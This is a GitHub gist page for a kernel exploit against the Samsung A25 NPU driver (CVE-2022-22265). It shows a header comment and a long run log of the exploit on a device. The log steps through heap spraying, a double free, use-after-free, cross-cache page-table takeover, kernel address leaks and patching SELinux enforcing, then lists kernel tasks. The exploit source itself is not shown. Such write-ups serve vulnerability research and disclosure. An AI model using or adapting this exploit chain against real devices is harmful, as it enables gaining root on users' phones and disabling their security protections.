Skip to content

Instantly share code, notes, and snippets.

@bb33bb
Forked from soez/exp.c
Created August 19, 2024 03:20
Show Gist options
  • Save bb33bb/525aa1e60a58006ee91ca7790e3ed1b8 to your computer and use it in GitHub Desktop.
Save bb33bb/525aa1e60a58006ee91ca7790e3ed1b8 to your computer and use it in GitHub Desktop.
CVE-2022-22265 Samsung A25 npu driver
/*
*
* Author: @javierprtd
* Date : 01-08-2024
* Kernel: 5.10.177
* Samsung A25 NPU: CVE-2022-22265 (bug patched - reintroduced)
*
*/
// echo 1 > /sys/module/memlogger/holders/npu/drivers/platform:exynos-npu/npu_exynos/npu_err_in_dmesg
/*
a25x:/ $ /data/local/tmp/exp
[+] CVE-2022-22265
[+] mmap pages to phys r/w
[+] set num files
[+] preparing pipe buffer
[+] alloc dmabuf
[+] mmap buffer to ncp object
[+] open /dev/vertex10
[+] ioctl graph
[+] ioctl format
[+] ioctl graph
[+] init signalfd spray to better cross cache
[+] start signalfd cross cache
[+] ioctl format
[+] getting vulnerable object (from signalfd)
[+] ioctl graph
[+] ioctl format
[+] ioctl streamon
[+] ioctl streamoff (double free)
[+] spray pipe_buffer
[+] locating vulnerable signalfd object (uaf)
[+] pipe_buffer->page leak: 0xffffffff0134c800
[+] pipe_buffer->page to virt: 0xffffff804d320000
[+] pipe_buffer->page to virt to page: 0xffffffff0134c800
[+] fd_signal found at 31240th
[+] locating vulnerable object pipe_buffer (for cross cache)
[+] pipe fd found at 2th
[+] free vulnerable object (from pipe_buffer)
[+] finishing cross cache
[+] spray page table
[+] phys leak 0x00e80008e8a92f43
[+] mmap buffer to manage tlb
[+] looking for page table and phys pte
[+] found distinct page at virtual 0x2b0000
[!] be patient now, looking for page table
[+] found page table at phys 0x00e80008edc7bf43 and phys valid buffer pte 0x00e80008ac4acf43
[+] looking for victim to migrate
[+] found victim to migrate at virtual buffer full_tlb 0x7938800000
[+] page table self pointer
[+] munmap evil
[+] looking for victim page
[+] found victim page at virtual buffer full_tlb 0x7938801000
[+] looking for kernel phys
[+] kernel phys base at 0x80098000
[+] kernel phys offset 0x98000
[+] kernel phys data at 0x81e78000
[+] kernel virtual selinux_state at 0xffffffc00a262968
[+] kernel virtual init_task at 0xffffffc009e95e80
[+] kernel virtual base at 0xffffffc008098000
[+] go with selinux bypass
[+] selinux enforcing patched
[+] libbase.so mapped at 0x7931ff5000
[+] LogLine found at 0x7932019818
[+] looking for process
ffffff881569a500 -> init
ffffff8815698000 -> kthreadd
ffffff881569ca00 -> rcu_gp
ffffff881569dc80 -> rcu_par_gp
ffffff881569b780 -> kworker/0:0
ffffff8815699280 -> kworker/0:0H
ffffff88156fdc80 -> kworker/u16:0
ffffff88156fb780 -> mm_percpu_wq
ffffff88156f9280 -> kworker/u16:1
ffffff88156fa500 -> rcu_tasks_kthre
ffffff88156f8000 -> rcu_tasks_trace
ffffff88156fca00 -> ksoftirqd/0
ffffff8815741280 -> rcu_preempt
ffffff8815742500 -> rcub/0
ffffff8815740000 -> rcuc/0
ffffff8815744a00 -> migration/0
ffffff8815752500 -> cpuhp/0
ffffff881579a500 -> cpuhp/1
ffffff8815798000 -> migration/1
ffffff881579ca00 -> rcuc/1
ffffff881579dc80 -> ksoftirqd/1
ffffff881579b780 -> kworker/1:0
ffffff8815799280 -> kworker/1:0H
ffffff8815d24a00 -> cpuhp/2
ffffff8815d25c80 -> migration/2
ffffff8815d23780 -> rcuc/2
ffffff8815d21280 -> ksoftirqd/2
ffffff8815d22500 -> kworker/2:0
ffffff8815d20000 -> kworker/2:0H
ffffff8815ee9280 -> cpuhp/3
ffffff8815eea500 -> migration/3
ffffff8815ee8000 -> rcuc/3
ffffff8815eeca00 -> ksoftirqd/3
ffffff8815eedc80 -> kworker/3:0
ffffff8815eeb780 -> kworker/3:0H
ffffff8816069280 -> cpuhp/4
ffffff881606a500 -> migration/4
ffffff8816068000 -> rcuc/4
ffffff881606ca00 -> ksoftirqd/4
ffffff881606dc80 -> kworker/4:0
ffffff881606b780 -> kworker/4:0H
ffffff88161f9280 -> cpuhp/5
ffffff88161fa500 -> migration/5
ffffff88161f8000 -> rcuc/5
ffffff88161fca00 -> ksoftirqd/5
ffffff88161fdc80 -> kworker/5:0
ffffff88161fb780 -> kworker/5:0H
ffffff88163b9280 -> cpuhp/6
ffffff88163ba500 -> migration/6
ffffff88163b8000 -> rcuc/6
ffffff88163bca00 -> ksoftirqd/6
ffffff88163bdc80 -> kworker/6:0
ffffff88163bb780 -> kworker/6:0H
ffffff8816540000 -> cpuhp/7
ffffff8816544a00 -> migration/7
ffffff8816545c80 -> rcuc/7
ffffff8816543780 -> ksoftirqd/7
ffffff8816541280 -> kworker/7:0
ffffff8816542500 -> kworker/7:0H
ffffff8816da1280 -> netns
ffffff8816ef4a00 -> kworker/6:1
ffffff8816ef5c80 -> kworker/0:1
ffffff8816ef3780 -> kworker/7:1
ffffff8816ef1280 -> kworker/1:1
ffffff8816ef2500 -> kworker/2:1
ffffff8816ef0000 -> kworker/3:1
ffffff8817005c80 -> kworker/4:1
ffffff8817003780 -> kworker/5:1
ffffff8817001280 -> kauditd
ffffff8817002500 -> khungtaskd
ffffff8817000000 -> oom_reaper
ffffff8817004a00 -> writeback
ffffff88172eca00 -> kcompactd0
ffffff88173eca00 -> kblockd
ffffff88173edc80 -> blkcg_punt_bio
ffffff881744dc80 -> edac-poller
ffffff881744b780 -> devfreq_wq
ffffff8817449280 -> watchdogd
ffffff881744a500 -> kworker/7:1H
ffffff881739dc80 -> kswapd0
ffffff881739ca00 -> kworker/u17:0
ffffff8817390000 -> erofs_worker/0
ffffff8817392500 -> erofs_worker/1
ffffff8817391280 -> erofs_worker/2
ffffff8817393780 -> erofs_worker/3
ffffff8817395c80 -> erofs_worker/4
ffffff8817394a00 -> erofs_worker/5
ffffff8817348000 -> erofs_worker/6
ffffff881734a500 -> erofs_worker/7
ffffff8817349280 -> kworker/6:1H
ffffff881734dc80 -> dmabuf-deferred
ffffff881734ca00 -> uas
ffffff88172edc80 -> uether
ffffff8816da2500 -> dm_bufio_cache
ffffff8816da0000 -> ipv6_addrconf
ffffff8816da4a00 -> five_wq
ffffff8816da5c80 -> five_hook_wq
ffffff881c509280 -> kworker/7:2
ffffff881c50b780 -> kworker/6:2
ffffff88172f0000 -> kworker/u16:2
ffffff88172f4a00 -> acpm_update_log
ffffff88172f2500 -> irq/107-1190000
ffffff88172f3780 -> kworker/7:3
ffffff88172f1280 -> irq/151-s2mpu
ffffff88172f5c80 -> irq/152-s2mpu
ffffff881d144a00 -> irq/153-s2mpu
ffffff881d145c80 -> irq/154-s2mpu
ffffff881d143780 -> irq/155-s2mpu
ffffff881d141280 -> irq/156-s2mpu
ffffff881d142500 -> irq/157-s2mpu
ffffff881d140000 -> irq/158-s2mpu
ffffff881d14b780 -> irq/159-s2mpu
ffffff881d149280 -> irq/160-s2mpu
ffffff881d14a500 -> irq/161-s2mpu
ffffff881d148000 -> irq/162-s2mpu
ffffff881d14ca00 -> irq/163-s2mpu
ffffff881d14dc80 -> irq/164-s2mpu
ffffff881d198000 -> irq/165-s2mpu
ffffff881d19ca00 -> irq/166-s2mpu
ffffff881d19dc80 -> irq/167-s2mpu
ffffff881d19b780 -> irq/168-s2mpu
ffffff881d199280 -> irq/169-s2mpu
ffffff881d19a500 -> irq/170-s2mpu
ffffff881d1e1280 -> irq/171-s2mpu
ffffff881d1e2500 -> irq/172-s2mpu
ffffff881d1e0000 -> irq/173-s2mpu
ffffff881d1e4a00 -> irq/174-exynos-
ffffff881d1e5c80 -> irq/123-118c000
ffffff881e885c80 -> sec_audio_dbg_s
ffffff881e883780 -> sec_abc_wq
ffffff881e881280 -> typec_manager_e
ffffff881e884a00 -> typec_manager_m
ffffff881c51dc80 -> irq/292-1171000
ffffff881c51ca00 -> irq/293-1171000
ffffff881c518000 -> irq/294-1171000
ffffff881c51b780 -> irq/295-1171000
ffffff881c519280 -> irq/296-1171000
ffffff881c51a500 -> irq/297-1171000
ffffff881d1e3780 -> irq/298-1171000
ffffff88173e4a00 -> irq/299-1171000
ffffff88173e5c80 -> irq/300-1171000
ffffff88173eb780 -> irq/301-1171000
ffffff88173e9280 -> fast_switch_pos
ffffff88173ea500 -> fast_switch_pos
ffffff88173e8000 -> thermal_BIG
ffffff8816da3780 -> thermal_hotplug
ffffff881f6f5c80 -> thermal_LITTLE
ffffff881f6f3780 -> thermal_G3D
ffffff881f6f1280 -> thermal_ISP
ffffff881f6f2500 -> thermal_NPU
ffffff881f6f0000 -> thermal_CP
ffffff881f6f4a00 -> fast_switch:0
ffffff881f74a500 -> fast_switch:6
ffffff881f748000 -> kworker/6:3
ffffff881f74ca00 -> g3d_dvfs
ffffff881f74dc80 -> kbase_job_fault
ffffff881f74b780 -> kworker/u17:1
ffffff881f749280 -> simpleinteracti
ffffff881f730000 -> simpleinteracti
ffffff881f734a00 -> simpleinteracti
ffffff881f735c80 -> simpleinteracti
ffffff881f733780 -> simpleinteracti
ffffff881f731280 -> simpleinteracti
ffffff881f732500 -> simpleinteracti
ffffff881f72ca00 -> simpleinteracti
ffffff881f72dc80 -> cpif_tpmon_moni
ffffff881f72b780 -> cpif_tpmon_boos
ffffff881f729280 -> shmem_tx_wq
ffffff881f72a500 -> irq/177-tzasc
ffffff881f728000 -> irq/178-tzasc
ffffff88205a8000 -> irq/179-ppmpu
ffffff88205aca00 -> irq/180-ppmpu
ffffff88205adc80 -> hwrng
ffffff88205ab780 -> irq/62-14c50000
ffffff88205a9280 -> irq/63-14c50000
ffffff88205aa500 -> irq/64-15110000
ffffff88207d2500 -> irq/65-15110000
ffffff88207d0000 -> abox_ipc
ffffff88207d4a00 -> irq/66-15140000
ffffff88207d5c80 -> irq/67-15140000
ffffff88207d3780 -> irq/68-15170000
ffffff88207d1280 -> irq/69-15170000
ffffff8814c7a500 -> irq/70-151a0000
ffffff8814c78000 -> irq/71-151a0000
ffffff8814c7ca00 -> irq/72-15580000
ffffff8814c7dc80 -> irq/73-15580000
ffffff8814c7b780 -> irq/74-15480000
ffffff8814c79280 -> irq/75-15480000
ffffff8814ca9280 -> irq/76-153a0000
ffffff8814caa500 -> abox_qos
ffffff8814ca8000 -> irq/77-153a0000
ffffff8814caca00 -> kworker/5:2
ffffff8814cadc80 -> irq/78-153d0000
ffffff8814cab780 -> irq/79-153d0000
ffffff8814d2dc80 -> irq/80-12cd0000
ffffff8814d2b780 -> irq/81-12cd0000
ffffff8814d29280 -> irq/82-10b50000
ffffff8814d2a500 -> irq/83-10b50000
ffffff8814d28000 -> irq/84-10b80000
ffffff8814d2ca00 -> irq/85-10b80000
ffffff8814d78000 -> irq/86-14900000
ffffff8814d7ca00 -> irq/87-14900000
ffffff8814d7dc80 -> irq/88-149d0000
ffffff8814d7b780 -> irq/89-149d0000
ffffff8814d79280 -> irq/90-15680000
ffffff8814d7a500 -> irq/91-15680000
ffffff8814e50000 -> irq/92-156b0000
ffffff8814e54a00 -> irq/93-156b0000
ffffff8814e55c80 -> kworker/4:2
ffffff8814e53780 -> irq/94-12e70000
ffffff8814e51280 -> irq/95-12e70000
ffffff8814e52500 -> panel0:disp-det
ffffff8814810000 -> panel0:pcd
ffffff8814814a00 -> panel0:err-fg
ffffff8814815c80 -> panel0:conn-det
ffffff8814813780 -> panel0:panel-co
ffffff8814811280 -> panel0:panel-up
ffffff8814812500 -> panel0:evasion-
ffffff8814869280 -> panel-bl-thread
ffffff881486a500 -> abd_blank_workq
ffffff8814868000 -> rbin
ffffff881486ca00 -> rbin_shrink
ffffff881486dc80 -> crtc0_kthread
ffffff881486b780 -> crtc1_kthread
ffffff88fe8fa500 -> card0-crtc0
ffffff88fe8f8000 -> card0-crtc1
ffffff88fe8fca00 -> wq_vsync
ffffff88fe8fdc80 -> wq_fsync
ffffff881e880000 -> kworker/2:2
ffffff881e882500 -> wq_dispon
ffffff881734b780 -> wq_panel_probe
ffffff881739b780 -> log_collector
ffffff881739a500 -> failure_wq
ffffff8817399280 -> syserr_recovery
ffffff8817398000 -> fm_client_wq
ffffff88fd6a8000 -> tz_worker_threa
ffffff88fd6aca00 -> tz_worker_threa
ffffff88fd6adc80 -> tz_worker_threa
ffffff88fd6ab780 -> tz_worker_threa
ffffff88fd6a9280 -> tz_worker_threa
ffffff88fd6aa500 -> tz_worker_threa
ffffff88fe8fb780 -> tz_worker_threa
ffffff88fe8f9280 -> tz_worker_threa
ffffff88fd6f5c80 -> ree_time
ffffff88fd6fdc80 -> tz_iwlog_thread
ffffff881c50dc80 -> tz_iwsock
ffffff88fd67ca00 -> connecting_thre
ffffff88fd67dc80 -> wifilogger
ffffff88173e3780 -> wifilogger
ffffff88173e1280 -> wifilogger
ffffff881c50ca00 -> wifilogger
ffffff88fd304a00 -> cfg80211
ffffff88173e2500 -> conn_logger
ffffff88173e0000 -> usb_notify
ffffff88fd6f3780 -> s2mpu13-wqueue@
ffffff88fd6f1280 -> irq/306-s2mpu13
ffffff88fd6f2500 -> power-keys-wq0@
ffffff88fd6f0000 -> s2mpu14-wqueue@
ffffff88fd6f4a00 -> scsi_eh_0
ffffff88fcda4a00 -> scsi_tmf_0
ffffff88fcda5c80 -> ufs_perf_0
ffffff88fcda3780 -> ufs_eh_wq_0
ffffff88fcda1280 -> ufs_clk_gating_
ffffff88fcb29280 -> usb_int_qos_wq
ffffff88fcb2a500 -> usb_tpmon_wq
ffffff88fcb28000 -> SEC_WB_wq
ffffff88fcda2500 -> kworker/u16:3
ffffff88fd6fb780 -> kworker/0:1H
ffffff88fd6f9280 -> kworker/u16:4
ffffff88fcb2dc80 -> kworker/1:1H
ffffff88fd305c80 -> kworker/2:1H
ffffff88fd303780 -> kworker/5:1H
ffffff88fd301280 -> kworker/3:1H
ffffff88fd300000 -> srpmb_wq
ffffff88e5f69280 -> mfc/inst_migrat
ffffff88fcb2b780 -> mfc/butler
ffffff88e5ff8000 -> irq/355-12ed000
ffffff88e5ffca00 -> mfc_core/meerka
ffffff88e5ffdc80 -> mfc_core/idle
ffffff88e5f6a500 -> mfc_core/butler
ffffff88e5f68000 -> mfc_core/qos_ct
ffffff88e5f6ca00 -> irq/493-s2mf301
ffffff88e5f6dc80 -> dw-mci-card
ffffff88e5f6b780 -> dw_mci_clk_ctrl
ffffff8816f99280 -> kworker/6:4
ffffff8816f9a500 -> chub_log_kthrea
ffffff8816f98000 -> irq/268-11a1000
ffffff8816f9ca00 -> npu_exynos
ffffff8816f9dc80 -> kworker/0:2
ffffff88e5ffb780 -> 3-003c
ffffff88fd67b780 -> pdic_irq_event
ffffff88fd679280 -> 3-003c
ffffff88fd67a500 -> irq/495-s2mf301
ffffff88fd678000 -> kworker/1:2
ffffff88358aa500 -> fingerprint_deb
ffffff88358a8000 -> bootc_wq
ffffff88358aca00 -> samsung_mobile_
ffffff88e5ff9280 -> kworker/2:3
ffffff88e5ffa500 -> charger-wq
ffffff8835405c80 -> kworker/1:3
ffffff8835403780 -> kworker/1:4
ffffff8835401280 -> shub_dev_wq
ffffff8835402500 -> shub_debug_wq
ffffff8835400000 -> sec_vibrator
ffffff8835404a00 -> sec_input_irq_w
ffffff88356d2500 -> fts_wq
ffffff88356d0000 -> fts_irq_wq
ffffff88fcda0000 -> irq/496-focalte
ffffff883572b780 -> irq/497-A96T3X6
ffffff8835729280 -> kworker/2:4
ffffff8816f9b780 -> pass-through
ffffff883505b780 -> irq/499-tfa98xx
ffffff8835059280 -> irq/500-tfa98xx
ffffff883505a500 -> jbd2/sda26-8
ffffff8835058000 -> ext4-rsv-conver
ffffff88356d4a00 -> kdmflush
ffffff88356d5c80 -> kdmflush
ffffff88358adc80 -> kdmflush
ffffff88358ab780 -> kdmflush
ffffff88358a9280 -> kdmflush
ffffff8835223780 -> kdmflush
ffffff8835221280 -> kverityd
ffffff883505ca00 -> kdmflush
ffffff8835222500 -> kverityd
ffffff8835220000 -> kdmflush
ffffff8835224a00 -> kverityd
ffffff8835225c80 -> kdmflush
ffffff8834ce2500 -> kverityd
ffffff8834ce0000 -> kdmflush
ffffff8834ce4a00 -> kverityd
ffffff8834ce5c80 -> kdmflush
ffffff8834ce3780 -> kverityd
ffffff8834ce1280 -> ext4-rsv-conver
ffffff8834f42500 -> kdmflush
ffffff8834f40000 -> kverityd
ffffff8834f44a00 -> ext4-rsv-conver
ffffff88172e9280 -> init
ffffff88172e8000 -> ueventd
ffffff8834f41280 -> kworker/4:1H
ffffff88334edc80 -> kdmflush
ffffff88334eb780 -> kdmflush
ffffff88334e9280 -> kdmflush
ffffff883350ca00 -> kdmflush
ffffff883350dc80 -> kdmflush
ffffff883350b780 -> kdmflush
ffffff8833509280 -> kdmflush
ffffff883350a500 -> kdmflush
ffffff8833508000 -> kdmflush
ffffff883356b780 -> kdmflush
ffffff8833569280 -> kdmflush
ffffff883356a500 -> kdmflush
ffffff8833568000 -> kdmflush
ffffff88335d9280 -> kdmflush
ffffff88335dca00 -> kdmflush
ffffff88335ddc80 -> kdmflush
ffffff8833641280 -> kdmflush
ffffff8833640000 -> kdmflush
ffffff8833644a00 -> kdmflush
ffffff88336b8000 -> kdmflush
ffffff88336bb780 -> kdmflush
ffffff88336b9280 -> kdmflush
ffffff883373a500 -> loop0
ffffff8833738000 -> loop1
ffffff883373ca00 -> loop2
ffffff881c508000 -> loop3
ffffff883505dc80 -> loop4
ffffff88331e5c80 -> ext4-rsv-conver
ffffff88331e3780 -> ext4-rsv-conver
ffffff88331e2500 -> ext4-rsv-conver
ffffff88356d1280 -> ext4-rsv-conver
ffffff88328f4a00 -> ext4-rsv-conver
ffffff88328f3780 -> kworker/0:3
ffffff88328f1280 -> init
ffffff883373dc80 -> tfa98xx
ffffff881ab38000 -> tfacal
ffffff88351db780 -> prng_seeder
ffffff883371a500 -> tfa98xx
ffffff883572a500 -> tfacal
ffffff8834f45c80 -> kworker/1:5
ffffff8835728000 -> logd
ffffff88fd6f8000 -> lmkd
ffffff88351d9280 -> servicemanager
ffffff8834f43780 -> hwservicemanage
ffffff881a251280 -> vndservicemanag
ffffff883572ca00 -> psimon
ffffff88f1ec8000 -> watchdogd
ffffff88351da500 -> binder:566_2
ffffff881a254a00 -> jbd2/sda34-8
ffffff881a255c80 -> ext4-rsv-conver
ffffff881733a500 -> jbd2/sda1-8
ffffff881733dc80 -> ext4-rsv-conver
ffffff8833719280 -> kdmflush
ffffff8817339280 -> jbd2/sda33-8
ffffff881733b780 -> ext4-rsv-conver
ffffff881733ca00 -> jbd2/sda2-8
ffffff8817338000 -> ext4-rsv-conver
ffffff88edf68000 -> irq/498-rt5665
ffffff88edf6ca00 -> iod
ffffff88edf6b780 -> tzdaemon
ffffff88328f0000 -> tzts_daemon
ffffff88f1ec9280 -> suspend-service
ffffff88e6bb3780 -> binder:606_2
ffffff88f1cf9280 -> android.hardwar
ffffff88f1ecb780 -> vendor.samsung.
ffffff88f1ecdc80 -> vendor.samsung.
ffffff88328f2500 -> vendor.samsung.
ffffff88e6bb1280 -> vendor.samsung.
ffffff88147ab780 -> f2fs_ckpt-254:5
ffffff88147a9280 -> f2fs_discard-25
ffffff881441b780 -> f2fs_gc-254:53
ffffff8814738000 -> vendor.samsung.
ffffff88146ab780 -> vaultkeeperd
ffffff88e6bb5c80 -> tombstoned
ffffff8814523780 -> loop5
ffffff8814418000 -> loop6
ffffff8814521280 -> loop7
ffffff88146adc80 -> loop8
ffffff88146a9280 -> loop9
ffffff88147aca00 -> loop10
ffffff88e6bb2500 -> loop11
ffffff881473ca00 -> loop12
ffffff883c59dc80 -> loop13
ffffff883c59b780 -> loop14
ffffff88147adc80 -> loop15
ffffff883c599280 -> loop16
ffffff883c59a500 -> loop17
ffffff881441dc80 -> loop18
ffffff883c598000 -> loop19
ffffff883c59ca00 -> loop20
ffffff883cad1280 -> loop21
ffffff88146aa500 -> loop22
ffffff883cad2500 -> loop23
ffffff881473dc80 -> loop24
ffffff881473b780 -> kverityd
ffffff8814739280 -> loop25
ffffff883cac4a00 -> ext4-rsv-conver
ffffff88147a8000 -> ext4-rsv-conver
ffffff881473a500 -> loop26
ffffff88146a8000 -> loop27
ffffff881ab3b780 -> ext4-rsv-conver
ffffff881ab39280 -> loop28
ffffff883cac5c80 -> ext4-rsv-conver
ffffff88146aca00 -> loop29
ffffff8814524a00 -> ext4-rsv-conver
ffffff883cc43780 -> ext4-rsv-conver
ffffff88f1ecca00 -> loop30
ffffff883cc9b780 -> ext4-rsv-conver
ffffff883cad0000 -> ext4-rsv-conver
ffffff883cad4a00 -> ext4-rsv-conver
ffffff883cc99280 -> loop31
ffffff883cc9a500 -> ext4-rsv-conver
ffffff883cc41280 -> ext4-rsv-conver
ffffff883cc42500 -> ext4-rsv-conver
ffffff883cc40000 -> ext4-rsv-conver
ffffff883cc98000 -> ext4-rsv-conver
ffffff883cc9ca00 -> kverityd
ffffff883cc9dc80 -> kverityd
ffffff883cad5c80 -> loop32
ffffff883ccfb780 -> ext4-rsv-conver
ffffff883ca2b780 -> ext4-rsv-conver
ffffff883cad3780 -> ext4-rsv-conver
ffffff883c9cb780 -> ext4-rsv-conver
ffffff883c9ca500 -> ext4-rsv-conver
ffffff883cc44a00 -> ext4-rsv-conver
ffffff883cc90000 -> loop33
ffffff883cd6b780 -> loop34
ffffff883cc94a00 -> loop35
ffffff883c9c9280 -> loop36
ffffff883cc45c80 -> loop37
ffffff883cdc1280 -> kverityd
ffffff883cd69280 -> loop38
ffffff883cdeb780 -> ext4-rsv-conver
ffffff883cc95c80 -> loop39
ffffff883cc93780 -> kverityd
ffffff883cc91280 -> kverityd
ffffff883cc92500 -> ext4-rsv-conver
ffffff883ce13780 -> loop40
ffffff883cde9280 -> ext4-rsv-conver
ffffff883cdea500 -> loop41
ffffff883cde8000 -> kverityd
ffffff883cdc2500 -> kverityd
ffffff883ccf9280 -> kverityd
ffffff881ab3a500 -> kverityd
ffffff881ab3ca00 -> ext4-rsv-conver
ffffff883ca6dc80 -> loop42
ffffff883cf83780 -> ext4-rsv-conver
ffffff883ce11280 -> kverityd
ffffff883ccfa500 -> ext4-rsv-conver
ffffff883cdc0000 -> kverityd
ffffff883cdc4a00 -> loop43
ffffff883cd6a500 -> ext4-rsv-conver
ffffff883ce12500 -> ext4-rsv-conver
ffffff883cdc5c80 -> ext4-rsv-conver
ffffff883cdc3780 -> loop44
ffffff883d409280 -> ext4-rsv-conver
ffffff883cdeca00 -> loop45
ffffff883ccf8000 -> kverityd
ffffff883ccfca00 -> kverityd
ffffff883ccfdc80 -> ext4-rsv-conver
ffffff883ca2dc80 -> ext4-rsv-conver
ffffff883cd68000 -> kverityd
ffffff883cd6ca00 -> kverityd
ffffff883cdedc80 -> kverityd
ffffff883d4edc80 -> kverityd
ffffff883d4eb780 -> kverityd
ffffff883ca28000 -> ext4-rsv-conver
ffffff883ca2a500 -> ext4-rsv-conver
ffffff883cf81280 -> kverityd
ffffff883cf82500 -> ext4-rsv-conver
ffffff883ca2ca00 -> ext4-rsv-conver
ffffff883ca29280 -> ext4-rsv-conver
ffffff883ce10000 -> ext4-rsv-conver
ffffff883cd6dc80 -> kverityd
ffffff883d4e9280 -> kverityd
ffffff883d4ea500 -> ext4-rsv-conver
ffffff883d4e8000 -> ext4-rsv-conver
ffffff883d705c80 -> magiskd
ffffff883cac3780 -> cass
ffffff883cac2500 -> emservice
ffffff883d700000 -> binder:836_2
ffffff883d704a00 -> binder:837_3
ffffff883d40ca00 -> main
ffffff883d40dc80 -> main
ffffff883ca69280 -> [email protected]
ffffff883c9d3780 -> audio.service
ffffff883ca6b780 -> [email protected]
ffffff883ca6ca00 -> [email protected]
ffffff883ca68000 -> [email protected]
ffffff883c9d2500 -> [email protected]
ffffff883c9d5c80 -> [email protected]
ffffff883cf85c80 -> [email protected]
ffffff883ce14a00 -> iptables-restor
ffffff883ca6a500 -> android.hardwar
ffffff883ce15c80 -> ip6tables-resto
ffffff881a86a500 -> neuralnetworks@
ffffff881a869280 -> [email protected]
ffffff881a86dc80 -> [email protected]
ffffff881a86b780 -> [email protected]
ffffff881a868000 -> binder:859_2
ffffff881a86ca00 -> hermesd
ffffff8843959280 -> vendor.samsung.
ffffff883c9d4a00 -> vendor.samsung.
ffffff883c9d0000 -> android.hardwar
ffffff883c9d1280 -> android.hardwar
ffffff88fd6fca00 -> android.hardwar
ffffff88408cca00 -> samsung.hardwar
ffffff883d4eca00 -> samsung.softwar
ffffff883ca1ca00 -> [email protected]
ffffff8845cd3780 -> [email protected]
ffffff8845c18000 -> [email protected]
ffffff8845cd2500 -> vendor.samsung.
ffffff8845cd0000 -> [email protected]
ffffff8845c1ca00 -> [email protected]
ffffff8845cba500 -> vendor.samsung.
ffffff8845cd4a00 -> [email protected]
ffffff8845cd5c80 -> ExynosHWCServic
ffffff8847ab4a00 -> [email protected]
ffffff8847ab5c80 -> eden_runtime@1.
ffffff8847ab3780 -> [email protected]
ffffff8847ab1280 -> audioserver
ffffff8847ab2500 -> credstore
ffffff8847ab0000 -> binder:954_2
ffffff88478e1280 -> kumihodecoder
ffffff88478e2500 -> perfmond
ffffff88491c5c80 -> surfaceflinger
ffffff88492d2500 -> drmserver
ffffff8850202500 -> ewlogd
ffffff88492d3780 -> traced_probes
ffffff88491c2500 -> traced
ffffff884a942500 -> kbase_event
ffffff8849144a00 -> kbase_event
ffffff8858a44a00 -> vendor.samsung.
ffffff8847a05c80 -> binder:1044_2
ffffff88589ab780 -> fabric_crypto
ffffff8847a02500 -> imsd
ffffff8845fbb780 -> binder:1061_2
ffffff8845fb9280 -> smdexe
ffffff8845fb8000 -> diagexe
ffffff8850015c80 -> ddexe
ffffff8850013780 -> connfwexe
ffffff885bbbdc80 -> binder:1069_2
ffffff885b964a00 -> kbase_event
ffffff885bbba500 -> mediaextractor
ffffff885d935c80 -> mediametrics
ffffff885d933780 -> mediaserver
ffffff885b963780 -> speg_helper
ffffff885f781280 -> spqr_service
ffffff885d8d2500 -> storaged
ffffff885d8d0000 -> wificond
ffffff8860452500 -> [email protected]
ffffff8860450000 -> argosd
ffffff8860454a00 -> cbd
ffffff8860455c80 -> gpsd
ffffff8860453780 -> epic
ffffff8860451280 -> memlogd
ffffff885bbbca00 -> [email protected]
ffffff885b843780 -> rild
ffffff8860663780 -> wlbtd
ffffff8860662500 -> mediaswcodec
ffffff8860664a00 -> gatekeeperd
ffffff8860773780 -> abox_log
ffffff8860771280 -> [email protected]
ffffff8872700000 -> kworker/u17:2
ffffff888423ca00 -> multiclientd
ffffff886a343780 -> system_server
ffffff8877172500 -> kbase_event
ffffff88a8db3780 -> m.android.phone
ffffff886a342500 -> ndroid.systemui
ffffff88aaf3a500 -> kworker/6:36H
ffffff88aaf38000 -> kworker/6:37H
ffffff88aaf3dc80 -> kworker/6:38H
ffffff88aaf83780 -> kworker/6:39H
ffffff88aaf82500 -> kworker/6:40H
ffffff88aaf29280 -> webview_zygote
ffffff88a5fb4a00 -> rkstack.process
ffffff805a402500 -> com.sec.epdg
ffffff88bc980000 -> com.sec.sve
ffffff805a723780 -> com.android.nfc
ffffff805a721280 -> .sec.imsservice
ffffff88b3642500 -> com.android.se
ffffff88b3640000 -> ris.tui_service
ffffff8058ceb780 -> id.app.launcher
ffffff8004802500 -> id.ext.services
ffffff8009b0ca00 -> [email protected]
ffffff800a371280 -> kworker/u17:3
ffffff800a892500 -> location.nsflp2
ffffff800ab4dc80 -> perfsdkserver
ffffff80586e1280 -> loop46
ffffff800a3c3780 -> zram0_wbd
ffffff800f75ca00 -> pageboostd
ffffff800f759280 -> adbd
ffffff800ecbca00 -> kbase_event
ffffff802a233780 -> .gms.persistent
ffffff802a231280 -> rs.media.module
ffffff8032c42500 -> hbox:interactor
ffffff8032f81280 -> s.messaging:rcs
ffffff804288a500 -> id.diagmonagent
ffffff8042888000 -> c.android.sdhms
ffffff8032c44a00 -> d.process.media
ffffff885b841280 -> earchbox:search
ffffff804f9db780 -> kbase_event
ffffff801a0ea500 -> kworker/1:2H
ffffff8050aedc80 -> kworker/2:2H
ffffff8057cfdc80 -> kworker/7:78H
ffffff8057ea0000 -> kworker/7:82H
ffffff8057ea9280 -> kworker/7:88H
ffffff8057ea8000 -> kworker/3:2H
ffffff8057fd1280 -> kworker/4:3H
ffffff806ad7dc80 -> kworker/0:194H
ffffff806add9280 -> kworker/0:206H
ffffff806ae32500 -> kworker/0:217H
ffffff806ae30000 -> kworker/0:218H
ffffff806ae40000 -> kworker/0:219H
ffffff806ae44a00 -> kworker/0:220H
ffffff806ae45c80 -> kworker/0:221H
ffffff806ae43780 -> kworker/0:222H
ffffff806ae41280 -> kworker/0:223H
ffffff806ae42500 -> kworker/0:224H
ffffff806ae92500 -> kworker/0:225H
ffffff806ae90000 -> kworker/0:226H
ffffff806ae94a00 -> kworker/0:227H
ffffff806ae95c80 -> kworker/0:228H
ffffff806ae93780 -> kworker/0:229H
ffffff806ae91280 -> kworker/0:230H
ffffff806ae9a500 -> kworker/0:231H
ffffff806ae98000 -> kworker/0:232H
ffffff806ae9ca00 -> kworker/0:233H
ffffff806ae9dc80 -> kworker/0:234H
ffffff806ae9b780 -> kworker/0:235H
ffffff806ae99280 -> kworker/0:236H
ffffff806aeeb780 -> kworker/0:237H
ffffff806aee9280 -> kworker/0:238H
ffffff806aeea500 -> kworker/0:239H
ffffff806aee8000 -> kworker/0:240H
ffffff806aeeca00 -> kworker/0:241H
ffffff806aeedc80 -> kworker/0:242H
ffffff806aef5c80 -> kworker/0:243H
ffffff806aef3780 -> kworker/0:244H
ffffff806aef1280 -> kworker/0:245H
ffffff806aef2500 -> kworker/0:246H
ffffff806aef0000 -> kworker/0:247H
ffffff806aef4a00 -> kworker/0:248H
ffffff806af4ca00 -> kworker/0:249H
